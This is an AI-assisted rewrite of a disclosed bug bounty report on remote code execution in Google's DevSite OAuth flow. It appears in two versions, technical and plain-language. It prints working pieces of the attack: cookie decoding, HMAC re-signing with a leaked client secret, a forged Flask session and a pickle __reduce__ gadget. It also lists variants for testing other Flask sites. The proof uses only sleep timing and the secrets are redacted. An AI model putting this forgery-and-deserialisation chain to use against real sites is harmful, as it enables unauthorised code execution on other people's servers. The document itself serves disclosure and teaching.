Skip to content
RCE Write-up Advanced

How I found it

A Flask session cookie on Google's developer documentation sites embedded a pickle-serialised OAuth flow object that contained the OAuth client secret in plaintext, and that same secret was used as the Flask signing key. Anyone holding a cookie could recover the key, forge a valid session containing an arbitrary pickle, and have the OAuth callback unpickle it, giving unauthenticated remote code execution.

Simon Köck Follow

Published on simonkoeck.com

Bounty$90,000 View original

I was mapping the OAuth flow that Google’s developer docs sites all share. You hit /oauth2authorize, it sets a Flask session cookie and redirects you to Google’s sign-in page.

Simon Koeck, on simonkoeck.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Google's developer documentation sites run on a shared platform, DevSite, and share a common OAuth flow. When you request /oauth2authorize, the server sets a Flask session cookie and redirects you to Google's sign-in page. No account is needed to start the flow: the first request alone issues the session cookie.

The interesting part of the design is that the OAuth flow object, an oauth2client.client.OAuth2WebServerFlow instance, is kept client-side inside that Flask session cookie rather than on the server. Flask session cookies are signed with itsdangerous, not encrypted, so anyone holding one can read its contents.

Setup

The researcher was mapping the OAuth flow shared by the developer docs sites. The tools used were curl to fetch the cookie, and Python with base64, json, pickletools, zlib and hmac to decode it and to recompute signatures offline. Testing of the issue itself took place on August 6, 2026.

Finding it

The first request was a plain unauthenticated call to the authorisation endpoint, with the response headers saved and the body discarded:

Bash
curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'

The response set a Flask session cookie.

What drew attention was the cookie's size. It had Flask's usual three-part `[redacted] format, but at about 1,200 bytes it seemed large for what should only be a CSRF token and a return URL. So the researcher decoded it.

Because Flask session cookies are signed rather than encrypted, the contents are readable by anyone who holds one. A leading dot on the payload means the payload is zlib-compressed. The decoding script:

Python
import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

The cookie is split into its three parts from the right, the payload is base64url-decoded with padding restored, and the result is decompressed if it was compressed. The decoded session looked like this:

{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}

The " b" key is Flask's marker for a bytes value. Base64-decoding that value produced a pickle, and pickletools.dis printed an oauth2client.client.OAuth2WebServerFlow object with its fields visible:

client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"

So the cookie carried a pickle-serialised payload together with Google's OAuth client_id and client_secret in plaintext. The secret was in use at the time of testing.

The next step was to try the leaked client secret as the Flask SECRET_KEY. The signature on the issued cookie validated against it. The signing key was stored inside the very object it was signing.

Exploitation

Step 1: confirm the secret signs the session

Rather than rely on the guess, the researcher recomputed the signature offline. Flask signs through itsdangerous using the cookie-session key derivation, so the derived key and the expected signature can be produced from the client secret alone:

Python
import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)

expected came out byte-for-byte identical to the signature on the cookie that had been handed out seconds earlier. To rule out a coincidence, one character of the signature was flipped, which the server rejected, and then the original payload was re-signed with the recovered secret, which the server accepted. Session integrity was gone: every key and value in the session could be set by the attacker while still producing a signature the server would accept.

Step 2: identify the sink

The callback reads the flow back out of the session and unpickles it. The path through the code is:

session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)

That pickle.loads is only safe as long as nobody else can forge a valid cookie. Once the signing key is public, that assumption no longer holds.

Step 3: forge a session with an arbitrary pickle

A session was built with a made-up CSRF token and an arbitrary pickle placed under the matching flow key:

Python
session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}

The state parameter is attacker-controlled too, so nothing has to line up on the server side. The server checks the signature, finds the flow entry under the matching key, and passes the bytes to pickle.loads.

For readers less familiar with pickle: the REDUCE opcode names a callable and its arguments, and unpickling simply calls it. A public signing key combined with this sink gives unauthenticated remote code execution.

Step 4: prove execution without running commands

Running commands on Google's production systems was not an option, so execution was proved with time. The payload reduced to time.sleep(N):

Python
class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))

The same forged session was used every time, with only the number changed:

time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s

The response time tracked the number in the pickle, which is consistent with the server calling sleep(N) during unpickling.

Step 5: controls

To rule out a slow endpoint or ordinary jitter, several controls were run:

  • No cookie: Invalid request.
  • One flipped byte in the signature: Invalid request.
  • Valid signature, no flow entry: Invalid request state.
  • Valid signature with the real flow: reached Google's token exchange and failed later with invalid_grant on the fake auth code.
  • Valid signature with the sleep payload: delayed by exactly the number chosen.

Step 6: scope across hosts

The same key worked beyond developers.google.com. Valid sessions were tested on these DevSite hosts:

  • firebase.google.com
  • developer.android.com
  • source.android.com
  • docs.partner.android.com

Root cause

Three mistakes combined into the chain. First, the OAuth client_secret was serialised into a client-side cookie, so it was exposed to anyone who requested the endpoint. Second, that same secret was used as the Flask SECRET_KEY, so the exposure of the credential also handed over the ability to sign sessions. Third, the callback passed session data to pickle.loads, turning a forged cookie into arbitrary code execution.

Existing defences did not help because the signature check was doing all the work of establishing trust in the cookie, and the key that made the signature meaningful was inside the cookie itself. The pickle.loads call is only safe as long as nobody else can forge a valid cookie.

Impact

An unauthenticated attacker could forge a session cookie and have the server unpickle attacker-controlled data, which is remote code execution on the affected DevSite hosts. The same signing key was valid across developers.google.com, firebase.google.com, developer.android.com, source.android.com and docs.partner.android.com. The leaked OAuth client secret was itself a problem independent of the RCE, since it was in use at the time of testing. The researcher deliberately limited the proof to timing rather than running commands on production.

Fix

Four changes were proposed to address the chain:

  1. Rotate both exposed OAuth client secrets and kill every session signed with them.
  2. Give each deployment its own high-entropy Flask SECRET_KEY from a server-side store, with nothing to do with an OAuth credential.
  3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.
  4. Drop pickle for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.

The chain depended on the exposed secret, its reuse as the signing key, and the callback unpickling data from the session.

The report was submitted on August 6, 2026 at 22:48, triaged on August 7 at 08:12, and accepted the same day at 16:23. A fix was deployed within about 24 hours. On August 27, 2026 the reward was decided at $90,000: a $75,000 base for Normal Google Applications (T2), S0 RCE, multiplied by 1.2 for exceptional report quality. On October 7, 2026 at 15:20 the status was updated to fixed.

Variants to test

  • Request an OAuth entry point on any site that uses Flask sessions and decode the cookie. A positive result is a payload that contains an OAuth flow object with client_id and client_secret fields in plaintext.
  • Try the leaked client_secret as the Flask SECRET_KEY and recompute the cookie-session signature. A positive result is a byte-for-byte match with the signature on a freshly issued cookie.
  • Look for pickle.loads on data that comes back from a cookie or other client-controlled store. A positive result is a forged session with a time.sleep(N) payload whose response time tracks N.
  • Test whether one signing key is shared across sibling hosts on the same platform. A positive result is a session signed for one host being accepted by another.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

Google runs many documentation websites, the pages that explain how to use Google's products to programmers. Those sites all sit on one shared platform called DevSite. That feature is built on OAuth, a standard way for one website to ask another website for permission on your behalf.

When you open a particular address on those sites, the server hands your browser a small piece of data called a cookie and then sends you to Google's sign-in page. The problem was that this cookie also contained a secret password that Google uses to identify one of its own applications, and that same password was being used to prove that the cookie had not been tampered with. Because the cookie could be read by anyone, the password could be read by anyone, and once you have the password you can write your own cookies that the server will trust. The server then took data out of that cookie and turned it back into a live program object, a process that can run code. Put together, this let an outsider make Google's servers run code of their choosing, without any account. That class of bug is called remote code execution, or RCE.

The researcher, Simon Köck, proved the bug without harming anything: instead of running a command, he made the server pause for a chosen number of seconds and measured the delay. A fix was deployed within about 24 hours, and the reward was later decided at $90,000.

The pieces you need to know first

Before the steps make sense, here are the ideas the report leans on, each in one paragraph.

A server and a browser. When you type an address, your browser sends a request to a computer somewhere (the server) and gets a response back. The response has two parts: headers, which are small labelled facts about the response, and a body, which is the actual page or data.

A cookie. A cookie is a small labelled value that a server asks your browser to keep and to send back on later requests to the same site. It is how a website remembers you between page loads, for example that you are logged in. Because it lives in your browser, you can read it and, if you know how, change it.

A session. A session is the server's memory of one visitor's ongoing interaction. Often the server does not keep that memory itself; it puts it in a cookie and trusts the cookie when it comes back. That is called a client-side session, because the client (your browser) holds the state.

Flask and its session cookie. Flask is a popular toolkit for building websites in Python. Its session cookie has a fixed shape: three parts separated by dots, `[redacted] The payload is the data. The timestamp records when it was made. The signature is a short code computed from the payload and a secret key, and it lets the server check later that the payload has not been altered. Crucially, a Flask session cookie is signed, not encrypted: the signature proves the data is genuine, but anyone holding the cookie can read the data inside it. Think of a wax seal on an envelope: it shows the letter was not swapped, but it does not hide the letter.

Base64. A way of writing arbitrary bytes using only ordinary text characters, so binary data can travel inside text such as a cookie. It is not encryption; anyone can reverse it.

zlib. A compression method, the same family of idea as zipping a file. It makes data smaller. In a Flask cookie, a payload that starts with a dot has been compressed with zlib.

Pickle. A Python feature that turns a live object in memory into bytes, and turns those bytes back into a live object. The reverse step is called unpickling. Unpickling is powerful: the bytes can name a function and its arguments, and unpickling will call that function. That is why unpickling data you did not create yourself is dangerous.

OAuth, client_id and client_secret. OAuth is the standard that lets a website ask Google for permission on your behalf. An application that wants to do this registers with Google and receives two values: a client_id, which is public and identifies the application, and a client_secret, which is a password and must stay private. If the secret leaks, someone else can pretend to be that application.

CSRF token and state. When a site starts a sign-in flow, it creates a random value to tie the start of the flow to the end of it, so that an attacker cannot slip their own flow in between. In this code the value is called a CSRF token, and the matching value sent to Google is called state. They are supposed to match.

HMAC and signature. An HMAC is a way to compute a short code from some data and a secret key, such that only someone with the key can produce the right code. A signature on a cookie is exactly this. If you know the key, you can produce valid signatures for any data you like.

Remote code execution (RCE). The bug class where an outsider can make a server run code they chose. It is among the most serious kinds of vulnerability, because the attacker is no longer limited to what the website intended to offer.

A sink. Security slang for the place in a program where dangerous data finally gets used in a dangerous way, for example where bytes from a cookie are handed to unpickling. The data flows from a source (the cookie) to a sink (the unpickling call).

How the researcher found it

He was mapping the OAuth flow that Google's developer documentation sites all share. Mapping here means drawing the flow on paper: which address you open, what the server sends back, where you are redirected, and what is remembered along the way. The flow starts at /oauth2authorize. You open it, the server sets a Flask session cookie, and it redirects you to Google's sign-in page. No account is needed to start it: the very first request already hands you the cookie.

He sent that first request with curl, a command-line tool that fetches a web address and shows you what comes back. The command saves the response headers to a file and throws away the page body, because the interesting part is the cookie in the headers:

Bash
curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'

Line by line:

  • curl is the program being run.
  • -s means silent: do not print a progress meter, so the output is clean.
  • -D headers.txt means write the response headers into a file called headers.txt.
  • -o /dev/null means send the response body to a place where it is discarded, since the body is not needed.
  • The backslash at the end of the first line just continues the command on the next line for readability.
  • The address is the authorisation endpoint on developers.google.com. The return_url parameter is set to %2F, which is the URL encoding of a single slash, meaning the root of the site: where to send the visitor afterwards.

Why this step: to get a real cookie from the real server without logging in, and to look at it closely.

The cookie caught his eye because of its size. It had Flask's usual three-part `[redacted] shape, but at about 1,200 bytes it seemed large for what should only be a CSRF token and a return URL. So he decoded it.

Because Flask session cookies are signed rather than encrypted, the contents are readable by anyone holding one. A leading dot on the payload means the payload is zlib-compressed. The decoding script:

Python
import base64
import json
import pickletools
import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)

Line by line:

  • import base64, import json, import pickletools, import zlib load four Python toolkits: one for base64 text encoding, one for reading JSON (a common text format for structured data), one for inspecting pickle data, and one for zlib compression.
  • payload, timestamp, signature = cookie.rsplit(".", 2) splits the cookie text at the last two dots, from the right, giving the three parts: the data, the timestamp and the signature.
  • def b64decode(value): starts a small helper function.
  • return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4)) decodes base64 text back into bytes. Base64 text is normally padded with = characters to a multiple of four in length; this line works out how many are missing and adds them, so the decoder does not complain.
  • compressed = payload.startswith(".") checks whether the payload begins with a dot, which is the marker that it was compressed.
  • raw = b64decode(payload[1:] if compressed else payload) decodes the payload, skipping the leading dot if there is one.
  • session = json.loads(zlib.decompress(raw) if compressed else raw) decompresses the bytes if needed and then reads them as JSON, giving a Python dictionary of the session contents.

Why this step: to see what is actually inside the cookie, since the size suggested more than expected.

The decoded session looked like this:

{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}

This is a JSON object, a set of labelled values. _permanent means the session should last beyond the current browser session. google_oauth2_csrf_token is the random value that ties the start of the sign-in to the end. google_oauth2_flow_<csrf> is a second entry whose name includes that same random value, and it holds an object with one key, " b". The " b" key is Flask's marker for a bytes value: Flask stores raw bytes under a key with a leading space and a b, so that it can tell bytes apart from ordinary text when it reads the session back.

Base64-decoding that value produced a pickle, and pickletools.dis printed an oauth2client.client.OAuth2WebServerFlow object with its fields visible:

client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"

pickletools.dis is a tool that takes pickle bytes and prints a readable listing of the instructions inside, like disassembling a machine. What it showed was an OAuth flow object, the in-memory record of a sign-in in progress, with two of its fields printed: the application's public client_id and its private client_secret. The secret is redacted in the report; it was in use when the issue was tested on August 6.

So the cookie carried a pickle-serialised payload together with Google's OAuth client_id and client_secret in plaintext. That is already a leak: the secret is a password, and it was being handed to anyone who asked for the endpoint.

The next step was to try the leaked client secret as the Flask SECRET_KEY. The SECRET_KEY is the key Flask uses to compute the signature on its session cookies. The signature on the issued cookie validated against it. In other words, the signing key was stored inside the very object it was signing.

Proving it, step by step

Step 1: confirm the secret signs the session

Rather than rely on the guess, the researcher recomputed the signature offline. Flask signs through a library called itsdangerous, using a key derivation labelled cookie-session, so the derived key and the expected signature can be produced from the client secret alone:

Python
import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)

Line by line:

  • import hmac loads Python's toolkit for HMAC, the keyed signature function described earlier.
  • derived_key = hmac.digest(client_secret, b"cookie-session", "sha1") turns the client secret into the actual signing key, by running an HMAC over the fixed text cookie-session with the secret as the key. This is the same derivation Flask uses, so the result is the key Flask would use.
  • expected = hmac.digest( starts computing the signature over the cookie's data.
  • derived_key, is the key to sign with.
  • f"{payload}.{timestamp}".encode(), is the data being signed: the payload, a dot, and the timestamp, converted to bytes. That is exactly the text Flask signs.
  • "sha1", is the hash function used, SHA-1.
  • The closing ) finishes the call, and the result is stored in expected.

Why this step: to check the guess by calculation instead of trusting it. expected came out byte-for-byte identical to the signature on the cookie that had been handed out seconds earlier.

To rule out a coincidence, one character of the signature was flipped, which the server rejected, and then the original payload was re-signed with the recovered secret, which the server accepted. Session integrity was gone: every key and value in the session could be set by the attacker while still producing a signature the server would accept. The wax seal could now be forged by anyone.

Step 2: identify the sink

The callback, the address Google sends you back to after sign-in, reads the flow back out of the session and unpickles it. The path through the code is:

session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)

Read top to bottom, this is the journey of the data: the server takes the cookie, checks its signature, looks up the entry named after the CSRF token, decodes the bytes stored there, and hands them to pickle.loads, the unpickling function. That last call is the sink. It is only safe as long as nobody else can forge a valid cookie. Once the signing key is public, that assumption no longer holds.

Step 3: forge a session with an arbitrary pickle

A session was built with a made-up CSRF token and an arbitrary pickle placed under the matching flow key:

Python
session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}

Line by line:

  • session = { starts a Python dictionary, the same shape as the decoded cookie.
  • "_permanent": True, keeps the session lasting.
  • "google_oauth2_csrf_token": "attacker-chosen", sets the CSRF token to a value the attacker picked, instead of a random one.
  • "google_oauth2_flow_attacker-chosen": { creates the flow entry whose name matches that token, so the server will find it when it looks up the token.
  • " b": base64.b64encode(attacker_blob).decode() stores the attacker's pickle bytes, base64-encoded into text, under Flask's bytes marker.
  • The closing braces finish the nested dictionaries.

The state parameter is attacker-controlled too, so nothing has to line up on the server side. The server checks the signature, finds the flow entry under the matching key, and passes the bytes to pickle.loads.

For readers less familiar with pickle: the REDUCE opcode names a callable and its arguments, and unpickling simply calls it. An opcode is one instruction in the pickle byte stream, and REDUCE is the instruction that means "call this function with these arguments". A public signing key combined with this sink gives unauthenticated remote code execution: no login, no account, just a crafted cookie.

Step 4: prove execution without running commands

Running commands on Google's production systems was not an option, so execution was proved with time. The payload reduced to time.sleep(N), a standard Python function that pauses for N seconds:

Python
class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds

    def __reduce__(self):
        return (time.sleep, (self.seconds,))

Line by line:

  • class Sleep: defines a small Python class, a template for an object.
  • def __init__(self, seconds): is the constructor, which runs when the object is created.
  • self.seconds = seconds stores the chosen number on the object.
  • def __reduce__(self): defines a special method that Python's pickle machinery calls when it needs to know how to turn this object into bytes.
  • return (time.sleep, (self.seconds,)) says: to recreate this object, call time.sleep with the stored number as its argument. That pair, a function and its arguments, is exactly what the REDUCE opcode carries.

The same forged session was used every time, with only the number changed:

time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s

Each line reads: the pause asked for, then the response time measured. The response time tracked the number in the pickle, which is consistent with the server calling sleep(N) during unpickling.

Step 5: controls

To rule out a slow endpoint or ordinary jitter, several controls were run. A control is a test where you expect a particular result, so that a surprising result elsewhere can be trusted.

  • No cookie: Invalid request.
  • One flipped byte in the signature: Invalid request.
  • Valid signature, no flow entry: Invalid request state.
  • Valid signature with the real flow: reached Google's token exchange and failed later with invalid_grant on the fake auth code.
  • Valid signature with the sleep payload: delayed by exactly the number chosen.

These show that the delay came from the payload, not from the endpoint being slow, and that the server really does check the signature and the flow entry.

Step 6: scope across hosts

The same key worked beyond developers.google.com. Valid sessions were tested on these DevSite hosts:

  • firebase.google.com
  • developer.android.com
  • source.android.com
  • docs.partner.android.com

A host is one named website on the internet. The point of this step is that one leaked key opened the door on several sibling sites, not just one.

Why it worked

Three mistakes combined into the chain. First, the OAuth client_secret was serialised into a client-side cookie, so it was exposed to anyone who requested the endpoint. Second, that same secret was used as the Flask SECRET_KEY, so the exposure of the credential also handed over the ability to sign sessions. Third, the callback passed session data to pickle.loads, turning a forged cookie into arbitrary code execution.

Existing defences did not help because the signature check was doing all the work of establishing trust in the cookie, and the key that made the signature meaningful was inside the cookie itself. The pickle.loads call is only safe as long as nobody else can forge a valid cookie.

What an attacker could have done

An unauthenticated attacker could forge a session cookie and have the server unpickle attacker-controlled data, which is remote code execution on the affected DevSite hosts. The same signing key was valid across developers.google.com, firebase.google.com, developer.android.com, source.android.com and docs.partner.android.com. The leaked OAuth client secret was itself a problem independent of the RCE, since it was in use at the time of testing. The researcher deliberately limited the proof to timing rather than running commands on production.

How it was fixed

Four changes were proposed to address the chain:

  1. Rotate both exposed OAuth client secrets and kill every session signed with them. Rotating means replacing a secret with a new one, so the old one stops working.
  2. Give each deployment its own high-entropy Flask SECRET_KEY from a server-side store, with nothing to do with an OAuth credential. High entropy means long and random, so it cannot be guessed.
  3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive. An opaque reference is a meaningless label the server can look up, like a cloakroom ticket.
  4. Drop pickle for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert. Data-only means the format can describe values but cannot name functions to call.

The chain depended on the exposed secret, its reuse as the signing key, and the callback unpickling data from the session.

Timeline

The report was submitted on August 6, 2026 at 22:48, triaged on August 7 at 08:12, and accepted the same day at 16:23. A fix was deployed within about 24 hours. On August 27, 2026 the reward was decided at $90,000: a $75,000 base for Normal Google Applications (T2), S0 RCE, multiplied by 1.2 for exceptional report quality. On October 7, 2026 at 15:20 the status was updated to fixed.

Variants to test

These are the same ideas applied elsewhere, written as things to try:

  • Request an OAuth entry point on any site that uses Flask sessions and decode the cookie. A positive result is a payload that contains an OAuth flow object with client_id and client_secret fields in plaintext.
  • Try the leaked client_secret as the Flask SECRET_KEY and recompute the cookie-session signature. A positive result is a byte-for-byte match with the signature on a freshly issued cookie.
  • Look for pickle.loads on data that comes back from a cookie or other client-controlled store. A positive result is a forged session with a time.sleep(N) payload whose response time tracks N.
  • Test whether one signing key is shared across sibling hosts on the same platform. A positive result is a session signed for one host being accepted by another.

Glossary

  • API: a defined way for one piece of software to ask another for something, like a menu of requests a service accepts.
  • Base64: a way of writing bytes as ordinary text characters, reversible by anyone; not encryption.
  • Body: the main content of a web response, as opposed to its headers.
  • Callback: the address a service sends you back to after an outside step such as sign-in.
  • Client: the program making a request, usually your browser.
  • Client-side: kept on the client rather than on the server.
  • client_id: the public identifier of an OAuth application.
  • client_secret: the private password of an OAuth application; it must stay secret.
  • Control: a test with an expected result, used to check that another result is real.
  • Cookie: a small labelled value a server asks a browser to keep and send back on later requests.
  • CSRF token: a random value used to tie the start of a flow to its end and stop an attacker slipping in their own flow.
  • curl: a command-line program that fetches a web address and shows the response.
  • DevSite: the shared platform behind Google's developer documentation sites.
  • Dictionary: a Python value holding labelled entries, like a set of named boxes.
  • Endpoint: one specific address on a server that accepts requests.
  • Entropy: randomness; high entropy means hard to guess.
  • Flask: a toolkit for building websites in Python.
  • Header: a small labelled fact attached to a request or response, such as a cookie being set.
  • HMAC: a short code computed from data and a secret key, used to prove the data is genuine.
  • Host: one named website on the internet.
  • itsdangerous: the Python library Flask uses to sign data such as session cookies.
  • JSON: a common text format for structured data, made of labelled values.
  • Key derivation: turning one secret into another key in a fixed, repeatable way.
  • OAuth: a standard that lets one website ask another for permission to act on your behalf.
  • OAuth flow: the sequence of steps in an OAuth sign-in, from start to callback.
  • Opcode: one instruction inside a stream of bytes, such as REDUCE in a pickle.
  • Pickle: a Python format that turns live objects into bytes and back; unpickling can call functions.
  • pickle.loads: the Python function that turns pickle bytes back into a live object.
  • pickletools.dis: a tool that prints a readable listing of the instructions inside pickle bytes.
  • Payload: the data part of a cookie or request, as opposed to its signature or headers.
  • Redirect: a response that tells the browser to go to a different address.
  • Remote code execution (RCE): a bug that lets an outsider make a server run code they chose.
  • Request: a message a browser sends to a server asking for something.
  • Response: the message a server sends back.
  • Rotate: replace a secret with a new one so the old one stops working.
  • SECRET_KEY: the key Flask uses to sign its session cookies.
  • Session: a server's memory of one visitor's ongoing interaction, often stored in a cookie.
  • SHA-1: a hash function, used here inside the signature calculation.
  • Signature: a short code computed from data and a key, used to prove the data has not been altered.
  • Sink: the place in a program where dangerous data is finally used in a dangerous way.
  • State: the value sent to Google that ties a sign-in response to the request that started it.
  • Timestamp: a record of when something was made.
  • Unpickling: turning pickle bytes back into a live object, which can run code.
  • URL encoding: writing special characters in an address in a safe form, such as %2F for a slash.
  • zlib: a compression method that makes data smaller.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.